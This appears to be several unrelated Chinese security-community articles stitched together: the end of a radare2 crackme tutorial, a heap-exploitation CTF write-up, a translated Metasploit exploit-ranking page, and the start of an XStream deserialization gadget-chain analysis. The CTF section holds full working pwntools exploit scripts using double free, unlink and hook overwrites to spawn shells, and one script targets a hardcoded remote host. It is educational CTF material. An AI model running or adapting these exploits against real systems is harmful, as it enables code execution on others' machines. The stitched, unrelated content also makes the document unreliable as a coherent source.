0x080482ec 3 35 sym._init
0x08048320 1 6 sym.imp.strcmp
0x08048330 1 6 sym.imp.strcpy
0x08048340 1 6 sym.imp.puts
0x08048350 1 6 sym.imp.__libc_start_main
0x08048360 1 6 sub.__gmon_start___252_360
0x08048370 1 33 entry0
0x080483a0 1 4 sym.__x86.get_pc_thunk.bx
0x080483b0 4 43 sym.deregister_tm_clones
0x080483e0 4 53 sym.register_tm_clones
0x08048420 3 30 sym.__do_global_dtors_aux
0x08048440 4 43 -> 40 sym.frame_dummy
0x0804846b 19 282 sym.rot13
0x08048585 1 112 sym.beet
0x080485f5 5 127 main
0x08048680 4 93 sym.__libc_csu_init
0x080486e0 1 2 sym.__libc_csu_fini
0x080486e4 1 20 sym._fini
漂亮，在这里我们看到了之前看到过的导入函数，同时还有入口点，导入库，主函数和两个引起我们兴趣的函数：'sym.beet' 和 'sym.rot13'.
**反汇编（Disassembling）**
**主函数**
是时候去看看反汇编代码了，首先我们用 's main' 指令定位到main函数入口处，然后用 'pdf'（输出反汇编代码）
注意：就像我之前说过的，这系列文章的主要目的是去让大家了解并学习 r2
的，而不是去教大家如何阅读或者理解反汇编代码，所以在这里我不会刻意的去逐条解释每句代码的意思！事实上这些汇编代码只要有基础的汇编知识我相信都是很容易看懂的.
[0x08048370]> s main
[0x080485f5]> pdf
;– main:
/ (fcn) main 127
| main ();
| ; var int local_8h @ ebp-0x8
| ; var int local_4h @ esp+0x4
| ; DATA XREF from 0x08048387 (entry0)
| 0x080485f5 8d4c2404 lea ecx, [esp + local_4h] ; 0x4
| 0x080485f9 83e4f0 and esp, 0xfffffff0
| 0x080485fc ff71fc push dword [ecx – 4]
| 0x080485ff 55 push ebp
| 0x08048600 89e5 mov ebp, esp
| 0x08048602 53 push ebx
| 0x08048603 51 push ecx
| 0x08048604 89cb mov ebx, ecx
| 0x08048606 83ec0c sub esp, 0xc
| 0x08048609 6800870408 push str._n__.::_Megabeets_::. ; str._n__.::_Megabeets_::.
| 0x0804860e e82dfdffff call sym.imp.puts ; int puts(const char *s)
| 0x08048613 83c410 add esp, 0x10
| 0x08048616 83ec0c sub esp, 0xc
| 0x08048619 6815870408 push str.Think_you_can_make_it_ ; “Think you can make it?” @ 0x8048715
| 0x0804861e e81dfdffff call sym.imp.puts ; int puts(const char *s)
| 0x08048623 83c410 add esp, 0x10
| 0x08048626 833b01 cmp dword [ebx], 1 ; [0x1:4]=0x1464c45
| ,=< 0x08048629 7e2a jle 0x8048655
| | 0x0804862b 8b4304 mov eax, dword [ebx + 4] ; [0x4:4]=0x10101
| | 0x0804862e 83c004 add eax, 4
| | 0x08048631 8b00 mov eax, dword [eax]
| | 0x08048633 83ec0c sub esp, 0xc
| | 0x08048636 50 push eax
| | 0x08048637 e849ffffff call sym.beet
| | 0x0804863c 83c410 add esp, 0x10
| | 0x0804863f 85c0 test eax, eax
| ,==< 0x08048641 7412 je 0x8048655
| || 0x08048643 83ec0c sub esp, 0xc
| || 0x08048646 682c870408 push str.Success__n ; “Success!.” @ 0x804872c
| || 0x0804864b e8f0fcffff call sym.imp.puts ; int puts(const char *s)
| || 0x08048650 83c410 add esp, 0x10
| ,===< 0x08048653 eb10 jmp 0x8048665
| ||| ; JMP XREF from 0x08048629 (main)
| ||| ; JMP XREF from 0x08048641 (main)
| |-> 0x08048655 83ec0c sub esp, 0xc
| | 0x08048658 6836870408 push str.Nop__Wrong_argument._n ; “Nop, Wrong argument..” @ 0x8048736
| | 0x0804865d e8defcffff call sym.imp.puts ; int puts(const char *s)
| | 0x08048662 83c410 add esp, 0x10
| | ; JMP XREF from 0x08048653 (main)
| `—> 0x08048665 b800000000 mov eax, 0
| 0x0804866a 8d65f8 lea esp, [ebp – local_8h]
| 0x0804866d 59 pop ecx
| 0x0804866e 5b pop ebx
| 0x0804866f 5d pop ebp
| 0x08048670 8d61fc lea esp, [ecx – 4]
0x08048673 c3 ret
这些汇编代码大致的意思可以通过下面这个c 代码来解释：
if (argc > 1 && beet(argv[1]) == true)
# i.e - if any argument passed to the program AND the result of beet, given the passed argument, is true
# argc is the number of arguments passed to the program
# argc will be at least 1 becuase the first argument is the program name
# argv is the aray of parameters passed to the program
{
print "success"
}
else
{
print "fail"
}
exit
**视图模式 & 图形模式（Visual Mode & Graph Mode）**
radare2 具有非常强和高效率的组件用来提供十分友好的视图模式，这也将 r2 的强大带入到了一个新的高度.按 V 键将开启视图模式，按 p/P
可以在不同的模式之间切换，在屏幕的顶部就是你输入的命令，这里使用 p 命令先切换回之前的反编译模式.
视图模式下基本的命令：
**移动**
你可以使用 k 和 j 来 上下移动，按回车键将在 call 和 jmp
的时候跳转到目的地址，同时上图里你能看到有一些方括号里面有数字，你可以直接在键盘上按相应的数字就会跳转到对应的函数和地址处 ！
**帮助**
在使用 r2 的任何阶段，你都可以按 ?来调出帮助画面，这能帮助你更好的使用 r2 .
**交叉引用**
x / X 可以列出当前函数的引用状况，之后再输入相应的数字就可以跳转到指定的引用处了.
**radare2 命令解释器**
使用 :command 命令来执行你想要的 r2 命令.
**注释**
通过 ;[-] 来添加相应的注释
**标记**
m<key> 可以用来标记特定的偏移地址，之后输入对应的key就可以跳转到你设置的地方.
**退出**
按 q 返回到 r2 的 shell操作界面.
**可视图形模式**
在反汇编中经常会用到的就是 图形视图， r2也提供了这个功能，你可以在 shell 里输入 VV来进入图形模式, h / j / k / l 分别表示 左
/ 下 / 上 / 右 ,输入 g来跳转到你想去的函数地址.
使用 '?' 可以列出所有可用的命令，提醒下 R 命令挺不错.
**反汇编 'beet' 函数**
现在回到 beet 函数上，我们之前看到，二进制程序是通过获取 beet函数的返回结果来判断是否正确，因此我们需要输入 beet
的返回结果，这里有下面几种方式:
0x1、在 r2 的shell 界面搜索 beet 函数并打印出它的反汇编代码：因为 sym.beet 是beet 函数的标志,因此使用 f
sym.<tab> 来定位出 sym.beet 函数，最后使用 pdf 来输出它的具体内容.
0x2、直接输出 beet 的代码：通过 pdf @ sym.beet 命令，'@' 表示临时查找.
0x3、在可视视图界面直接跳转到 beet 函数：记得上面说过的方框中的数字吗？这里直接按 3 就可以了
0x4、在图形界面下输入 gd 命令，d 就是每一个跳转或者调用代码旁边的 字母.
这就是 r2 图形模式大致的样子：
我们看到输入的参数被拷贝到了一个缓存空间里，这个空间的地址是 ‘ebp – local_88h’ 。 'local_88h' 就是十进制的
136，我们可以输入 :之后再输入 ? 0x88 来执行 r2 内置的命令.
:> ? 0x88
136 0x88 0210 136 0000:0088 136 “x88” 10001000 136.0 136.000000f 136.000000
由于4个字节会被用来保存 ebp 的地址，4个字节被用来保存返回地址，所以这个缓冲区得大小是 128个字节.它们加起来刚好是 136.
我们输入的参数被拷贝到缓冲区后被用来和 sym.rot13的返回结果作对比， Rot-13
是一个著名的替换密码算法，在ctf和crackme中被广泛使用，这个函数接受了9个十六进制值作为参数，看起来r2好像没有识别出来到底是什么字符，这里我们需要用
'ahi s' 来做些处理.
:> ahi s @@=0x080485a3 0x080485ad 0x080485b7
ahi s 是用来设置字符串特定的偏移地址（使用 ahi?
获取更多用法），@@是一个迭代器，可以用来接受后面输入的多个参数,执行完这条命令后，图形视图会自动刷新，如果没有，可以手动输入 r 来刷新。
漂亮，我们已经看到了之前无法识别的字符串'Megabeets'(根据字节序反向压栈顺序得到).
这个二进制文件将我们传入的参数来和经过 rot13 处理后的 'Megabeets' 作比较，幸运的是我们不用去辛苦的分析 rot13 的具体算法，因为
r2 的 rahash2 组件可以代替我们做这些事情.
rahash2 包含很多种算法来求证一个文件或者字符串的校验值,具体的用法请使用 'man rahash2 '.
:> !rahash2 -E rot -S s:13 -s ‘Megabeetsn’
Zrtnorrgf
rahash2 通过内置的算法 处理 'Megabeets' 后得到 'Zrtnorrgf' 这个字符串，我们可以在 r2 的shell 视图中输入 !
命令来执行 系统命令，假设 'Zrtnorrgf' 就是用来和我们输入的字符串作比较，那我们重新在调试模式下打开二进制文件，使用 'ood' 命令将
'Zrtnorrgf'作为参数（更多用法使用 ood? ） ，现在看看我们得到了什么：
[0xf7749be9]> ood?
| ood [args] reopen in debugger mode (with args)
[0xf7749be9]> ood Zrtnorrgf
Wait event received by different pid 7415
Wait event received by different pid 7444
Process with PID 7575 started…
File dbg:///home/remnux/Desktop/tutorials/megabeets_0x1 Zrtnorrgf reopened in read-write mode
= attach 7575 7575
Assuming filepath /home/remnux/Desktop/tutorials/megabeets_0x1
[0xf7749be9]> dc
Selecting and continuing: 7575.:: Megabeets ::.
Think you can make it?
Success!PTRACE_EVENT_EXIT pid=7575, status=0x0
Woohoo! 消息提示我们成功破解了这个 crackme，回顾这个过程，大致就是这个二进制文件会将我们输入的参数来和 经过 rot13 算法加密后得到的
“Zrtnorrgf” 字符串作对比.
你可以在这里获取到这个二进制的源码 [here](https://github.com/ITAYC0HEN/A-journey-into-Radare2/blob/master/Part%201%20-%20Simple%20crackme/megabeets_0x1.c).
**结语**
有关 radare2 教程系列的第一篇文章，到现在就算结束了，我们其实只是最浅显的了解了 r2 的用法和最基础的功能，在下一篇文章中，我们将学到有关 r2
的脚本处理、恶意软件分析、以及溢出相关.我很担心这对于大多数人来说是十分困难的知识，我觉得你们应该先正确的认识 r2
的强大，然后反问自己为什么还要保留以前的那些工具的使用习惯？是否有必要做出些改变，这样也许会让你更加坚定的去学习和使用 r2
，相信我，如果你是一个逆向工程师、ctf 选手、甚至仅仅是安全爱好者，我都建议你将 r2 添加进你的新的工具箱，它会给你带来惊喜！ | 社区文章 |
# pwn堆入门系列教程6
[pwn堆入门系列教程1](https://xz.aliyun.com/t/6087)
[pwn堆入门系列教程2](https://xz.aliyun.com/t/6169)
[pwn堆入门系列教程3](https://xz.aliyun.com/t/6252)
[pwn堆入门系列教程4](https://xz.aliyun.com/t/6322)
[pwn堆入门系列教程5](https://xz.aliyun.com/t/6377)
要将别人的东西转化成自己的东西，还是得实操，自己去操作番才可以得到些东西，学了这么久，这几天的比赛也算是用上了，有unlink，有double
free，这些操作用上了
## 2019护网杯 mergeheap
我每次看到题目名字跟函数名字相同，我就知道点就在那个函数上，然而我当时已经看出这里有溢出了，然后调试的时候以为没覆盖到，原来只能覆盖到size，还是脑子不清晰，所以才会这样
### 功能分析
1. 新建一个堆块
2. 展示堆块内容
3. 删除一个堆块
4. 合并两个堆块内容
5. 退出
乍一看就只有合并比较可疑了，通常堆题没合并，而题目又是mergeheap
### 漏洞点分析
int sub_E29()
{
int i; // [rsp+8h] [rbp-18h]
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
int v4; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 14 && qword_2020A0[i]; ++i )
;
if ( i > 14 )
return puts("full");
printf("idx1:");
v2 = sub_B8B();
if ( v2 < 0 || v2 > 14 || !qword_2020A0[v2] )
return puts("invalid");
printf("idx2:");
v3 = sub_B8B();
if ( v3 < 0 || v3 > 14 || !qword_2020A0[v3] )
return puts("invalid");
v4 = dword_202060[v2] + dword_202060[v3];
qword_2020A0[i] = malloc(v4);
strcpy(qword_2020A0[i], qword_2020A0[v2]);
strcat(qword_2020A0[i], qword_2020A0[v3]);
dword_202060[i] = v4;
return puts("Done");
}
merge这里的strcpy跟strcat都是遇到\x00结束的，所以，我们如果将下一个堆块的pre_size当数据段来用的话，就可以复制到size部分，merge的时候会覆盖到下一个堆块的size，溢出覆盖size
int sub_D72()
{
_DWORD *v0; // rax
int v2; // [rsp+Ch] [rbp-4h]
printf("idx:");
v2 = sub_B8B();
if ( v2 >= 0 && v2 <= 14 && qword_2020A0[v2] )
{
free(qword_2020A0[v2]);
qword_2020A0[v2] = 0LL;
v0 = dword_202060;
dword_202060[v2] = 0;
}
else
{
LODWORD(v0) = puts("invalid");
}
return v0;
}
free过后，堆块内容未清空，也就是说，我们申请一个堆块，然后free掉，在申请到这个堆块时候，就可以查看原来堆块的内容
### 漏洞利用过程
1. 初始化堆块操作
def add(size, content):
io.sendline("1")
io.sendline(str(size))
if len(content) != size:
io.sendline(content)
else:
io.send(content)
def show(idx):
io.sendline("2")
io.sendline(str(idx))
def delete(idx):
io.sendline("3")
io.sendline(str(idx))
def merge(idx1, idx2):
io.sendline("4")
io.sendline(str(idx1))
io.sendline(str(idx2))
1. 填满tcache，并利用unsortbin泄露libc地址
for i in xrange(8):
add(0x100, str(i)*0x10)
for i in xrange(8):
delete(7-i)
add(0x8, '0'*8) #0
show(0)
io.recvuntil("0"*8)
libc_base = u64(io.recv(6).strip().ljust(8, '\x00'))-0x3ebda0
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
io.success("libc_base: 0x%x" % libc_base)
我反过来删除是因为show好弄些，也可以正向删除，show(7)
1. 重点，这里的大小要构造好，被复制和被覆盖的得分清楚，最后造成overlap chunk，然后修改tcache的fd指针成malloc_hook就行了，这里跟fastbin不太相似，fastbin这种攻击大小限制得是0x70大小chunk，因为错位的时候只有0x7f通常
add(0xe0, '1') #1
add(0x10, '2'*0x10) #2
add(0x18, '3'*0x18) #3
add(0x80, '4'*0x80) #4 被复制的size
add(0x20, '5'*0x20) #5
add(0x20, '6'*0x20) #6 size部分将被覆盖
delete(5)
merge(2, 3)
add(0x20, '7'*0x20)
delete(7)
delete(6) #构造overlap chunk
1. getshell
payload = 'a'*0x20 + p64(0) + p64(0x31) + p64(free_hook)
add(0x80, payload) #6
#gdb.attach(io)
add(0x20, '/bin/sh\x00') #7
add(0x20, p64(system_addr))
delete(7)
### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'mergeheap'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'mergeheap'
ctx.binary = exe
libc = args.LIBC or 'libc-2.27.so'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
def add(size, content):
io.sendline("1")
io.sendline(str(size))
if len(content) != size:
io.sendline(content)
else:
io.send(content)
def show(idx):
io.sendline("2")
io.sendline(str(idx))
def delete(idx):
io.sendline("3")
io.sendline(str(idx))
def merge(idx1, idx2):
io.sendline("4")
io.sendline(str(idx1))
io.sendline(str(idx2))
def exp():
for i in xrange(8):
add(0x100, str(i)*0x10)
for i in xrange(8):
delete(7-i)
add(0x8, '0'*8) #0
show(0)
io.recvuntil("0"*8)
libc_base = u64(io.recv(6).strip().ljust(8, '\x00'))-0x3ebda0
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
io.success("libc_base: 0x%x" % libc_base)
add(0xe0, '1') #1
add(0x10, '2'*0x10) #2
add(0x18, '3'*0x18) #3
add(0x80, '4'*0x80) #4
add(0x20, '5'*0x20) #5
add(0x20, '6'*0x20) #6
delete(5)
merge(2, 3)
add(0x20, '7'*0x20)
delete(7)
delete(6) #构造overlap chunk
payload = 'a'*0x20 + p64(0) + p64(0x31) + p64(free_hook)
add(0x80, payload) #6
#gdb.attach(io)
add(0x20, '/bin/sh\x00') #7
add(0x20, p64(system_addr))
delete(7)
if __name__ == '__main__':
exp()
io.interactive()
## 2019 网络内生安全试验场 pwn1
### 功能分析
1. 创建一个堆块
2. 展示所有堆块
3. 删除一个堆块
4. 删除所有堆块
5. 离开
### 漏洞点分析
int delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( lifecount )
{
printf("Which life do you want to remove: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0x63 || !*(&lifelist + v1) )
{
puts("Invalid choice");
return 0;
}
*(_DWORD *)*(&lifelist + v1) = 0;
free(*((void **)*(&lifelist + v1) + 1));
puts("Successful , God !");
}
else
{
puts("No life in this lonely planet~ ");
}
return puts("\n");
}
这里存在double free，free后为置空
### 漏洞利用过程
我是多次利用double
free然后成的,这道题说实话很坑，malloc_hook本地改成one_gadget是可以成功的，远程怎么打都打不上，后面学到一个骚操作，double
free触发malloc_hook？？？原理我也不清楚，不过确实远程拿到shell了
1. 利用double free泄露地址
ptr = 0x00000000006020E0-0x20-0x30-0x6
add(0x30, "a", "0") #0
add(0x30, "b", "1") #1
delete(0)
delete(1)
delete(0)
add(0x30, p64(ptr), '2') #2
add(0x30, 'a', '3') #3
add(0x30, 'a', '4') #4
add(0x30, 'a'*0x20 + 'b'*5 , '5')#5
show()
io.recvuntil("bbbbb")
stdout_addr = u64(io.recvuntil("Level", drop=True).ljust(8, '\x00'))
stdout_addr = hex(stdout_addr)[:-2]
stdout_addr = int(stdout_addr, 16)
io.success("stdout_addr: 0x%x" % stdout_addr)
libc_base = stdout_addr - libc.symbols['_IO_2_1_stdout_']
realloc_addr = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x45216
one_gadget = libc_base + 0x4526a
one_gadget = libc_base + 0xf02a4
one_gadget = libc_base + 0xf1147
malloc_hook = libc_base + libc.symbols['__malloc_hook']
ptr = malloc_hook-0x20-0x3
1. 利用double free改写地址
add(0x60, "a", "6")#6
add(0x60, "b", "7")#7
delete(6)
delete(7)
delete(6)
add(0x60, p64(ptr), '8') #8
add(0x60, 'a', '9') #9
add(0x60, 'a', '10') #10
add(0x60, 'c'*0x10+ 'd'*0x3 + p64(one_gadget), '6')
io.success("malloc_hook: 0x%x" % malloc_hook)
io.success("libc_base: 0x%x" % libc_base )
io.success("one_gadget: 0x%x" % one_gadget)
1. getshell
delete(2)
delete(2)
double free 拿到shell，这里其实malloc一次本地可以拿shell，远程不行，原因未详，可能栈环境对不上
### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'pwn1'
elf = context.binary = ELF(exe)
#don't forget to change it
#ctx.binary = './' + 'pwn1'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
libc = ELF(libc)
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def add(size, name, level):
io.sendlineafter("Your choice : ", "1")
io.sendlineafter("Length of the name :", str(size))
io.sendlineafter("The name of this life :", name)
io.sendlineafter("The level of this life (High/Low) :", level)
def show():
io.sendlineafter("Your choice : ", "2")
def delete(idx):
io.sendlineafter("Your choice : ", "3")
io.sendlineafter("Which life do you want to remove: ", str(idx))
def destroy():
io.sendlineafter("Your choice : ", "4")
def exit():
io.sendlineafter("Your choice : ", "5")
def exp():
ptr = 0x00000000006020E0-0x20-0x30-0x6
add(0x30, "a", "0") #0
add(0x30, "b", "1") #1
delete(0)
delete(1)
delete(0)
add(0x30, p64(ptr), '2') #2
add(0x30, 'a', '3') #3
add(0x30, 'a', '4') #4
add(0x30, 'a'*0x20 + 'b'*5 , '5')#5
show()
io.recvuntil("bbbbb")
stdout_addr = u64(io.recvuntil("Level", drop=True).ljust(8, '\x00'))
stdout_addr = hex(stdout_addr)[:-2]
stdout_addr = int(stdout_addr, 16)
io.success("stdout_addr: 0x%x" % stdout_addr)
libc_base = stdout_addr - libc.symbols['_IO_2_1_stdout_']
realloc_addr = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x45216
one_gadget = libc_base + 0x4526a
one_gadget = libc_base + 0xf02a4
one_gadget = libc_base + 0xf1147
malloc_hook = libc_base + libc.symbols['__malloc_hook']
ptr = malloc_hook-0x20-0x3
add(0x60, "a", "6")#6
add(0x60, "b", "7")#7
delete(6)
delete(7)
delete(6)
add(0x60, p64(ptr), '8') #8
add(0x60, 'a', '9') #9
add(0x60, 'a', '10') #10
add(0x60, 'c'*0x10+ 'd'*0x3 + p64(one_gadget), '6')
io.success("malloc_hook: 0x%x" % malloc_hook)
io.success("libc_base: 0x%x" % libc_base )
io.success("one_gadget: 0x%x" % one_gadget)
delete(2)
delete(2)
#add(0x30, 'a'*0x20+'b'*5,'3')
#gdb.attach(io)
'''
'''
if __name__ == '__main__':
exp()
io.interactive()
## 2019 网络内生安全试验场 pwn2
实战中遇到最简单的一道了？
### 功能分析
1. new一个新堆块
2. 删除一个堆块
3. 展示一个堆块
4. 修改堆块内容，有趣的是，他是固定大小0x100?
5. 退出
### 漏洞点分析
unsigned __int64 record()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("record which?");
__isoc99_scanf("%d", &v1);
if ( buf[v1] != 0LL && v1 >= 0 && v1 <= 9 )
{
puts("content?");
read(0, buf[v1], 0x100uLL);
}
return __readfsqword(0x28u) ^ v2;
}
这里是固定大小，所以申请小堆块可以溢出
### 漏洞利用过程
1. 我的思路是溢出后unlink，然后在将两个堆块串联起来，unlink里介绍的手法，就是一个堆块指向另一个堆块存指针的地方，然后编辑一个堆块就是编辑地址，编辑另一个堆块就是编辑内容
2. 初始化操作
def add(size):
io.sendlineafter("your choice :\n", "1")
io.sendlineafter("please input the size :\n", str(size))
def delete(idx):
io.sendlineafter("your choice :\n", "2")
io.sendlineafter("delete which ?\n",str(idx))
def show(idx):
io.sendlineafter("your choice :\n", "3")
io.sendlineafter("show which ?\n", str(idx))
def record(idx, content):
io.sendlineafter("your choice :\n", "4")
io.sendlineafter("record which?\n", str(idx))
io.sendlineafter("content?\n", content)
def exit():
io.sendlineafter("your choice :\n", "5")
1. unlink
ptr = 0x6020c0
add(0x40)
add(0x80)
add(0x40)
add(0x40)
payload = p64(0) + p64(0x40) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x40)
payload += p64(0x40)
payload += p64(0x90)
record(0, payload)
record(1, "1"*0x10)
delete(1)
#show(0)
1. 链接两个堆块
payload = 'a'*0x18 + p64(0x6020c8+0x8) + p64(0) + p64(elf.got['puts'])
record(0, payload)
show(2)
1. 泄露地址
io.recvuntil("the content is :")
io.recvline()
puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("puts_addr: 0x%x" % puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search("/bin/sh").next()
free_hook = libc_base + libc.symbols['__free_hook']
#gdb.attach(io)
1. getshell
record(3, "/bin/sh")
record(0, p64(free_hook))
record(2, p64(system_addr))
delete(3)
### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from PwnContext.core import *
local = False
# Set up pwntools for the correct architecture
exe = './' + 'pwn2'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '39.106.94.18'
port = 32768
#don't forget to change it
#ctx.binary = './' + 'pwn2'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
#context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
io = remote(host,port)
libc = ELF(libc)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def add(size):
io.sendlineafter("your choice :\n", "1")
io.sendlineafter("please input the size :\n", str(size))
def delete(idx):
io.sendlineafter("your choice :\n", "2")
io.sendlineafter("delete which ?\n",str(idx))
def show(idx):
io.sendlineafter("your choice :\n", "3")
io.sendlineafter("show which ?\n", str(idx))
def record(idx, content):
io.sendlineafter("your choice :\n", "4")
io.sendlineafter("record which?\n", str(idx))
io.sendlineafter("content?\n", content)
def exit():
io.sendlineafter("your choice :\n", "5")
def exp():
ptr = 0x6020c0
add(0x40)
add(0x80)
add(0x40)
add(0x40)
payload = p64(0) + p64(0x40) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x40)
payload += p64(0x40)
payload += p64(0x90)
record(0, payload)
record(1, "1"*0x10)
delete(1)
#show(0)
payload = 'a'*0x18 + p64(0x6020c8+0x8) + p64(0) + p64(elf.got['puts'])
record(0, payload)
show(2)
io.recvuntil("the content is :")
io.recvline()
puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("puts_addr: 0x%x" % puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search("/bin/sh").next()
free_hook = libc_base + libc.symbols['__free_hook']
record(3, "/bin/sh")
record(0, p64(free_hook))
record(2, p64(system_addr))
delete(3)
#gdb.attach(io)
#delete(0)
if __name__ == '__main__':
exp()
io.interactive()
## 题目下载地址
[点我，快点我](https://github.com/NoOne-hub/ctf-save)
## 总结
实操的时候发觉自己点是知道了，找漏洞点能力还待提升，利用起来也是得多调试下 | 社区文章 |
* * *
* 原文地址：<https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking>
* 作者：[Metasploit Community](https://github.com/rapid7/metasploit-framework)
* 译者：[王一航](https://github.com/wangyihang) 2018-06-13
* 校对：[王一航](https://github.com/wangyihang) 2018-06-13
* * *
每一个漏洞利用模块基于它们的对目标系统的潜在影响都被标记了一个 Rank 字段。
用户可以基于 Rank 对漏洞利用模块进行搜索，分类以及排序。
模块评级的实现方式是在模块的顶级类（译者注：Ruby 语言的特性，一个 .rb 文件可以是一个 Module 或者一个 Class）中添加一个 `Rank`
常量
class MetasploitModule < Msf::Exploit
Rank = LowRanking
def initialize(info={})
...
end
...
end
Rank 常量的值可以是下面的表格中的其中之一，按照可靠性降序排列。
Ranking | Description
---|---
**ExcellentRanking** | 漏洞利用程序绝对不会使目标服务崩溃，就像 SQL 注入，命令执行，远程文件包含，本地文件包含等等。
**除非有特殊情况，典型的内存破坏利用程序不可以被评估为该级别** 。（[WMF
Escape()](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb)）
**GreatRanking** |
该漏洞利用程序有一个默认的目标系统，并且可以自动检测适当的目标系统，或者在目标服务的版本检查之后可以返回到一个特定于应用的返回地址。（译者注：有些二进制的漏洞利用成功后，需要特别设置
Shell 退出后的返回地址，否则当 Shell 结束后，目标服务器会崩溃掉。）
**GoodRanking** | The exploit has a default target and it is the "common case"
for this type of software (English, Windows 7 for a desktop app, 2012 for
server, etc). 该漏洞利用程序有一个默认目标系统，并且是这种类型软件的“常见情况”（英文，桌面应用程序的Windows
7，服务器的2012等）（译者注：这段翻译的不是很懂，因此保留原文）
**NormalRanking** | 该漏洞利用程序是可靠的，但是依赖于特定的版本，并且不能或者不能可靠地自动检测。
**AverageRanking** | 该漏洞利用程序不可靠或者难以利用。
**LowRanking** | 对于通用的平台而言，该漏洞利用程序几乎不能利用（或者低于 50% 的利用成功率）
**ManualRanking** |
该漏洞利用程序不稳定或者难以利用并且基于拒绝服务（DOS）。如果一个模块只有在用户特别配置该模块的时候才会被用到，否则该模块不会被使用到，那么也可以评为该等级。（例如：[exploit/unix/webapp/php_eval](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/php_eval.rb)）
Rank 的值在模块类对象或者类实例中被设置
modcls = framework.exploits["windows/browser/ie_createobject"]
modcls.rank # => 600
modcls.rank_to_s # => "excellent"
mod = modcls.new
mod.rank # => 600
mod.rank_to_s # => "excellent" | 社区文章 |
# 如何高效地捡漏反序列化利用链？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## #1 前言
之前在文章[如何高效地挖掘Java反序列化利用链](https://blog.0kami.cn/2021/03/14/java-how-to-find-gadget-chains/)中提到了我是如何高效挖掘利用链的，这其中提到了工具[tabby](https://github.com/wh1t3p1g/tabby)。
目前，tabby开源也有一段时间了，这段时间里有不少小伙伴问我如何在实际环境中更好地使用它？
为此，本文将介绍我是如何利用tabby捡漏XStream
[CVE-2021-39147](https://x-stream.github.io/CVE-2021-39147.html) &&
[CVE-2021-39148](https://x-stream.github.io/CVE-2021-39148.html)。
## #2 材料准备
跟之前那篇文章提到的一样，我们先对JDK生成代码属性图
# 生成图缓存文件
java -Xmx8g -jar build/libs/tabby-1.1.0-RELEASE.jar --isJDKOnly
# 导入Neo4j图数据
java -Xmx8g -jar build/libs/tabby-1.1.0-RELEASE.jar --isSaveOnly
## #3 背景介绍
XStream自1.4.16版本的修复之后，有师傅在TSRC提交了[CVE-2021-29505](https://x-stream.github.io/CVE-2021-29505.html)(PS:
TSRC yyds)
该链跟之前我们在1.4.15版本时候挖的利用链都不太一样，它重新找到了一个新的触发toString的对象。这条链之前应该有师傅分析过了，就不细说了，这里直接贴一下调用链。
javax.naming.ldap.Rdn$RdnEntry#compareTo
com.sun.org.apache.xpath.internal.objects.XString#equal
com.sun.xml.internal.ws.api.message.Packet#toString
com.sun.xml.internal.ws.message.saaj.SAAJMessage#copy
com.sun.xml.internal.ws.message.saaj.SAAJMessage#getAttachments
com.sun.xml.internal.ws.message.saaj.SAAJMessage$SAAJAttachmentSet#<init>
com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl#getAttachments
com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl#initializeAllAttachments
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#getCount
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parse
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parseAll
